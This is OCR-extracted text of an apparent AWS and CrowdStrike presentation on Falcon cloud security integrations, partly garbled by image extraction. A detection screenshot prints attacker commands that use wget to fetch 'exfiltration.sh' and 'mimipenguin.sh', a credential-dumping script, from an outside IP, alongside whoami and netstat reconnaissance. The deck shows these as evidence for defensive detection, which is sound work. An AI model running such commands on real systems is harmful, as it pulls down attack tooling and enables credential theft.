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Application security journey to public cloud

Microservices and

infrastructure as code
Refactored applications

Lift and Shift

Cloud-native microservices

Containerized workloads, —

Managed services
DevSecOps

Data Center

(AR EN R

Rehosted as-is on

public cloud
Perimeter security
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Security teams face increasing challenges

SHADOW IT CLOUD
COMPLEXITY
Lack of visibility

. Misconfiguration
Unauthorized usage _ .
Security consistency
Unsecured assets ]
Use of insecure APlIs
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RUNTIME
THREATS

Adversaries
APTs/zero day
Vulnerabilities

SKILLS SHORTAGE

Complex security
environment

Lack of resources
Rapid change



Cloud threat landscape

Cloud Development and Runtime
misconfigurations supply chain concerns security events

Ul
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Crowdstrike and AWS provide cloud security

Security
the cloud

SOFTWARE
: AWS
S e curi ty COMPUTE STORAGE DATABASE NETWORKING
RESPONSIBILITY
O F the ClOUd FOR SECURITY ‘OF HARDWARE/AWS GLOBAL INFRASTRUCTURE
THE CLOUD

REGIONS AVAILABILITY ZONES EDGE LOCATIONS
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The Falcon Platform

<: \,,,“ e ) RO ‘7 va 70/ J

Cloua security Security and IT ops

Endpo?nt security

!

Services

Threat search MDR Incident Response Advisory

CrowdStrike Security Cloud

Orchestration

Fusion

Data fabric

Lightweight agent
T
= N = &> o o
Workstations Servers Virtual Containers Cloud Mobile loT
machines
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THE POWER OF THE SECURITY CLOUD

180+ Adversaries 1 Trillion+ 135 Million 1.5B+
Tracked Events/Day IOA Decisions/Min Containers/Day

L © . CrowdStrike\.' '

@‘ @ / Security . -~ ,\
‘ :C D% etoud . \

Asset Graph Threat Graph Intel Graph
Endpoint & Workload data Threat [nte[[igence Adversary data
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Broad and deep security protection

AWS account

IIIII Agent-based
Agentless
9 EC2 and container  Cloud Workload
» Cloud Security Posture workloads Protection
Management (CSPM) (CWP)
« Cloud Infrastructure * Falcon Sensor

Entitlement
Management (CIEM) NI

Shift-Left

L]
aws . * Image scanning
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Falcon cloud security

Agentless Agent
cloud security runtime protection

Visibility

@
‘

Assets isconfigurations

Protection

% aws

Hybrid cloud

VM | Containers | Serverless

CIEM Behavioral Multi-OS
Indicator of attack

Cloud-native
protection

Shift left

Image assessment | RBAC | APIs
Workflows | Automatic remediations

o

cD

Cl
Build tim Runtim

Platform built for continuous compliance and security
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CrowdStrike is an AWS Partner

AWS compute services

Container workloads

- Amazon EKS
- Amazon ECS
- AWS Fargate

Amazon EC2 instances,
including Graviton

Amazon WorkSpaces
AWS Outposts

All available in AWS Marketplace, a curated digital software catalog that helps you
find, test, buy, and provision software and data products

£

U

AWS services integrations

- AWS Control Tower

- Amazon EventBridge

- AWS Systems Manager
- AWS Network Firewall
- AWS PrivateLink

- AWS Security Hub

- AWS Developer Tools

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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CrowdStrike products

- Falcon Endpoint Protection

. Falcon Cloud Workload
Protection

- Falcon Horizon
- Discovery
- CSPM
- CIEM

2022 CrowdStrike, Inc. All rights reserved.

Public sector

- US government
compliance

« NIST framework

- Falcon on AWS
GovCloud

e
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CrowdStrike integrations
with AWS services

Visibility
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Falcon Horizon, AWS Control Tower, EventBridge

Horizon deployment

3. Accounts scanned

New account

EventBridge
AWS Control Tower
e b e o
| 4. Control Plane events
e L stream into EventBridge
1
1
| D O P = oo =
| — —
1 New account \ e e
1. Create new accounts : ——1—— —
: 3 — =
2. Event rule triggers . I:Io - = Sl I e e =
| T S e
1
1
1
1
1

automatically :
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|
|
| New account
|

5. Proactively detect misconfigurations
and vulnerabilities



Falcon Intelligence and Amazon GuardDuty

Premier threat feed
CrowdStrike intelligence for all
AWS GuardDuty customers

GUEE AWS Cloud
o —

P AWS Account 1

AWS Account 2 e
n Trillions of raw telemetry events

processed daily

@ Crowdsourced telemetry
« O)

A Falcon :
Threat Feed e AWS Account n

;
E = =

Indicators of compromise
CrowdStrike-identified domains,
IPs, and hashes
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CrowdStrike integrations
with AWS services

Shift-Left
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Falcon CWP and Amazon ECR

2. Connect - Amazon ECR

image registries

/\o(\ /\0(\
. Falcon CWP Container  Container
(image assessment) image image

AN
Container
image

- Amazon ECR

b NN

XY R

a4

v

v

X

Container Container Container
. . image imaage image
1. Define image J
policies
aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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3. Analyze and respond



Falcon CWP and AWS CI/CD

SOURCE BUILD/TEST DEPLOY

<

AWS
Git repo CodeCommit
03— B : -
AWS CodeBuild Amazon

ECR

I

e
A

Amazon
ECS
Developer e )
AWS Cl .
5 Cloud3 Falcon image “
Failed asses;:srrlent Success
otlicies
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| = € Cloud Security = Imag S Q Search Search@c78bcsch = _Talon1 v @ l

Dashboard Assets - Investigate ~ Image assessment Metwork Policies ~ Registry connections

Company ~

Total vulnerabilities Critical vulnerabilities Actively exploited vulnerabilities Malware

1,69 133 23

Assessed images Unassessed images Running vulnerable containers Running vulnerable images

491 30

Detection by severity [ Vulnerabilities by severity [ Vulnerabilities by CVSS score

Last 7 days Last 7 days

~ ”

1693

ow eaium mign ritica gn Critica
oL Medi igh @ Critical H ® cri

Top 5 images with most vulnerabilities Top 5 CVEs with most impacted images

Registry Repository Teg mage ID Vulnerabilities ol s} i Severity Product

i naluk ); 596 . 64d8.. -] VR
cied malubuntud.l latest 7a5965dblcb4ff3364d8. B46 CVE-2022-374%4 o Critical r_::_\,_c.
Zlib

https://517716713836.dkr.ecrus-west-2 amazonaws.c... 1b913130acabcec33d2b...

aws
~—
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Registry connections L search@c/86coch

Dashboard Assets Investigate ~ Image assessment ~ Metwork Policies ~ Registry connections

Rl = ciovssecry | T
Accor Dashboard Assets v Investigate v Image assessment v Network v Policies v Registry connections

- -

#s  What type of registry do you want to connect?

Micro
Registry preview
JFrog AWS ECR Docker Hub
Docker Registry V2 Google Artifact Registry Type
Total :
O Choose registry type:
Google Container Registry IBM Cloud Type not yet selected
g JFrog Artifactory Microsoft ACR
Credentials

Oracle Container Registry Red Hat OpenShift ) Enter account credentials:
URL Enter your registry credentials
http: Red Hat Quay.io Sonatype Nexus
https

VMware Harbor

httpe
https:igerio Google Container Registry schug ger Oct. 12, 20822 19:57:53 + Operational yd
https:ifus-west1-docker.pkg.dev Google Artifact Registry schug test gar Oct. 13, 2022 17:89:38 + QOperational &

© 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.




= ) Cloud Security | Image assessment > Im [ Q Search Search@ciecscs = Talon1~ @& A = 2

Dashboard Assets Investigate ~ Image assessment Metwork ~ Policies ~ Registry connections

Images 12 items

First assessed: All time Company +~ Registry ~ Repository ~ Tag ~ ImagelD -~ Image digest ~  BaseOS .+ CVE ID: CVE-2021-44228 More filters +  Clear all

Registry > | Repositery ~ | Tag > | BaseOS % | Wulnerabilites < | Highestwuln.. £ | Detections > | Highestdete.. £ | Containers £ | Firstassessed & Image [P
https:fgerio (gal... alpine-logé4j Alpine 3143 9 o Critical 2 Medium 0 Ockt. 21, 2822 1. : Image entrypoint command mage size
I 712 MB
https:/fgcrio (gal... alpine-log4j-2 Alpine 314.3 9 ® Critical 2 Medium 0 Oct. 21, 2822 1. : . ) .
a5 S Containers
Alpine 3143 0
https:/fgcrio (gal... alpine-log4j-2 vl Alpine 314.3 9 ® Critical 2 Medium (4] Oct. 21, 2822 1. :
Image vulnerabilities A
https:/fger.io (gal... alpine-log4j-3 vl Alpine 3143 ] @ Critical 2 Medium 0 Oct. 21, 2022 1. :
Totel vulnerabilities L with vulnerabilities
) ) : ) . : s . - 5 t— 2
cicd alpine-log4j-war 0.1 Alpine 314.3 8 ® Critical 2 Medium (o] Jul. 28, 2822 1. 2 - =
Image vulnerabilities by severity
https:/fgcr.io (gal... golang-java-1 417ebB68fd1a86... Alpine 314.2 20 @ Critical 2 Medium 0 Oct. 21, 2022 1. : Critical _ 3
High 3
https:/fgcr.io (gal... golang-java-1 8b01f6949b61c9... Alpine 3142 20 ® Critical 2 Medium 0 Oct. 21, 2022 1. :
Medium 2
https:/fgcr.io (gal... golang-java-1 latest Alpine 314.2 20 ® Critical 2 Medium 0 Oct. 21, 2822 1. : Low - 1
httpsi/gerio (gal..  tag-digest-test 417eb668fd1a86..  Alpine 314.2 20 e Critical 2 Medium 0 Oct. 21, 2022 1. : Package vulnerabilities
05 packages ckage vulnerabilities
https:/fgcr.io (gal... tag-digest-test beSbdcOefBe98d... Alpine 314.2 20 ® Critical 2 Medium 0 Oct. 21, 2822 1. : 5
https:/fgerio (gal... tag-digest-test latest Alpine 314.2 20 ® Critical 2 Medium 0 Oct. 21, 2822 1. :
Critical ] 1
https://5177168713... tryan log4jdemo Debian GNU 8 4 o Critical 2 Medium 0 Oct. 21, 2822 1. : High 3
] :
Totel application pac ges
1 4
12 results (1-12 shown) Items per page 100 - Pagelof1
aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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= ¢ Cloud Security = Image assessment > Vulnerabilities [] Search@c786c5c4 @ _Talon1 v @ l

" Dashboard Assets Investigate v Image assessment Metwork Policies ~ Registry connections

vulnerabilities 1,693 Packages (2 Total)

Company -  ExPRT rat
Company v  Image digest v  Package name & version v  Type v  License v  Severity v  Total vulnerabilities v  CVE ID: CVE-2021-44228 Clear all

ExPRT rating

Container ID v  Remediation v (7 Export
® Low
® Critical Package name & version Vulnerabilities License Running All images
images
® Low
® Critical * o log4j-core 2.14.0 Java _ o 0 1
CVE severity CVE ID Description
® Low ® Cri
@ Low e @ critical CVE-2021-44228 Apache Log4j2 2.0-beta9 through 2.15.0 (excludin
® Low ® Cri |
O e O &4 @ Critical CVE-2021-45046 It was found that the fix to address CVE-2021-442
@ Low & Cri
® Low o Cri Medium CVE-2021-44832 Apache Log4j2 versions 2.0-beta7 through 2.17.0 (
® Low ® Cri
e Low e Cri Medium CVE-2021-45105 Apache Log4j2 versions 2.0-alpha1l through 2.16.0
I
® Low e Cri _ - s
- Y T TL - L I~ GU S
1,693 results (1-100 shown) Items per page 100 ~ Page 1of 17 »
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CrowdStrike integrations
with AWS services

Runtime
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Falcon Cloud Workload Protection and
AWS Systems Manager State Manager

() =
-

Triggers SSM document
when EC2 is terminated

EventBridge

On install
CID is automatically retrieved

Systems Manager State Manager

___________________________

: Targets
' (associated through tags)

i \4
0 e ~o—P »

| On uninstall

| i Systems Crowdstrike's Host is automatically hididen
: AUEPeL ASG ! Manager Systems Manager y

EC2 i automation Jutormation in the Falcon platform API
_____________ ; I document
Install/uninstall :.............. @ . . Invokes package
Falcon agent installation

Systems Manager distribution package

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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Falcon CWP and Amazon EKS

Falcon Linux Sensor | Kernel Mode

Kubernetes | on EC2 |
Operator i ; Kubernetes Native Tooling

T = § . SULEUESS | Plugs into your GitOps workflow
-8 =i m ® WI <) !
S L ' i Container Protection at Runtime
v | Pod Eed | Defends containers and Kubernetes
> | applications against active attacks
- .
q‘ZJ i Falcon Container Sensor | User Mode

i . Container Drift Prevention
% H)E'I:Isl P RS 5 Enforces container immutability
—_ ' I - Amazon EKS
o | M : :
8 i i :i .................................................

| [ iy

Helm Chart | . é

! Pod with Sidecar

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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Falcon Console landing page

Current CrowdScore New detections SHA-based detections Prevented malware by host
Last 7 days

2fdc4546e1f425bcaf62624a7118fd4bas6e11e62.. 9
ip-10-0-63-133.ec2.internal 2

0f2b21e911bd10d795a110af7901d7860228f63cf1.. 8

/ | OO ip-10-0-26-16.ec2.internal 1

Total 17 Total 4

CrowdScore over time (~ Most recent detections
100 Severity Tactic & Technique Time Heost ID Link
90
80 .
High . . . .
70 0 +2 others Command and Control o Nov. 8, 2022 14:17:14 ip-10-0-41-250.ec2.internal view detection
60
50
40 High . . : .
a0 . 0 +4 others Command and Control o Nov. 4, 2022 13:20:31 ip-10-0-26-16.ec2.internal view detection
20 \
10 @ .\."""‘-—-.._ . High
0 ] o AT PP . . .
1102 11-03 104 11-05 11-08 1107 1108 1108 0 1 other Command and Control o Nov. 3, 2022 19:48:37 ip-10-0-63-133.ec2.internal view detection

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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Detection detail and process explorer

MOST RECENT BEHAVIOR

DETECT TIME

FIRST BEHAVIOR

Nov. 8, 2022 14:17:14 Nov. B, 2022 14:18:39
AWS HOSTNAME ip-10-0-41-250.ec2.internal
)
@ WGET HOST TYPE Server
® JAva I~
~ el ® WGET USER NAME
DASH i
Q NETSTAT CONTAINER ID bdf1leddbc6c6915c845e175e0021414f815d00a41c3
s c1948f473c63349d1292
AWS
© - .
GROUPING TAGS SensorGroupingTags/DevDays-CNAP
W AWS
L+
ACTION TAKEN Process killed
AWS
o SEVERITY & High
® WHOAMI OBJECTIVE Contact Controlled Systems

: TACTIC & TECHNIQUE Command and Control via Ingress Tool Transfer
Process Explorer viewer

TECHNIQUE ID T1105

1OA NAME CurlWgetMalwareDownload



Additional detection detail

(™Y Cloud Details

CLOUD PROVIDER AWS_EC2_V?2 10A NAME CurlWgetMalwareDownload

I0A DESCRIPTION

An attempt to download malicious files from the command-
CLOUD ACCOUNT ID 071239903463 line interface has been detected on your host. Adversaries
might use curl or wget to download additional payloads in

CLOUD INSTANCE ID i_0Obe89b39dedc5687a case of compromise. Please review the event to determine if

malicious files were downloaded or if this access was

expected.
LOCAL PROCESS ID 30438
COMMAND LINE wget http://34.226.150.110/exfiltration.sh

aws

© 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. FILE PATH
\—-;,

fusr/bin/wget [}




Events timeline

MNow .

MNow .

MNow.

Now .

Now .

&, 20272

&, 20272

&, 2022

8, 2022

8, 2022

whoam1i

dash

14:17:29

14:17:29

14:17:30

14:18:92

14:18:24

Detection Initial Access Exploit Public Facing Application Gain Access
Detection Discovery System Owner/User Discovery Explore
Detection Persistence Web Shell Keep Access
Event type Process name Command line Status
rocess start netstat netstat -n Mot running
\
Process start ng wget http://34.226.150.110/mimipenguin.sh Mot running

Y

o

wget

\

dush\

N\

X

Kill process

runc X 1p-10-0-41-250.e.. X

Prepare file for download Event search



Falcon CWP and AWS PrivateLink

SEg AWS Cloud Secure Connectivity
i Maintain Compliance
i Simplify Networkin
: Public puty 9
i Internet
@
I | |
| |
! v
| Internet :
Amazon EC2  Amazon ECS : Gateway i
I : >
| |
1 |
. . | Falcon
AmazonECR  AmazonfS . PrivateLink | Platform
aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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CrowdStrike integrations
with AWS services

Response and remediation
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Falcon APl and AWS Security Hub

GALY AWS Cloud 4. Process and publish finding in
Security Hub

| SQS Queue jmm——————— '.

- |
1. FIG connects to l dl[|¢f — . > | @ ;
Falcon API events | X s | e
stream l ableg- N :
! |
i Private Subnet E :
| L. ...
I |00 AWS Security Hub

CrowdStrike Falcon Integration newmsg 3. Message formatted

Falcon AP | Gateway to match ASFF schema
2. FIG performs additional lookups against Falcon API data
aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.

N7



Falcon X Threat Intelligence and AWS Network Firewall

AWS Network

@7 Firewall

_______________

to Security Hub

3. New finding added

»

2. Detection created in
Falcon platform

v

<
<

1. EC2 machine visits
malicious domain

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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7. Firewall rule
added

D

4. SOC reviews finding

SOC

5. SOC runs action in AWS
Security Hub to add domain
to block list

6. Security Hub triggers
remediation Lambda via
EventBridge



Falcon X Threat Intelligence and Amazon S3

2. Each upload triggers 3. Upload file to Falcon X
Lambda to evaluate Sandbox for analysis

1. Objects are
uploaded to an S3
bucket

.................. 6. Generate a
"""""""" : Finding in AWS
DU : | Security Hub
/N 4. Retrieve scan @
Alcteioy results and assess [®
results

5. Delete malicious file from
S3 bucket

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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Falcon Cloud Security
key takeaways

CrowdStrike Delivers Security
Across the Entire Cloud
Lifecycle

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
S

Visibility

@3\ Single view of security posture

across cloud estate

Image Security

Shift-Left CICD security, Registry
integration

Container Orchestration & Health

D
Kubernetes protection,

Rogue Container Detection, Container Drift

Control Plane
Only loAs for cloud misconfigurations in industry

Run-Time

NGAV & EDR for Compute, Container and Serverless

2022 CrowdStrike, Inc. All rights reserved.



Thank you!

[waeres] Please complete the session
'8

survey in the mobile app
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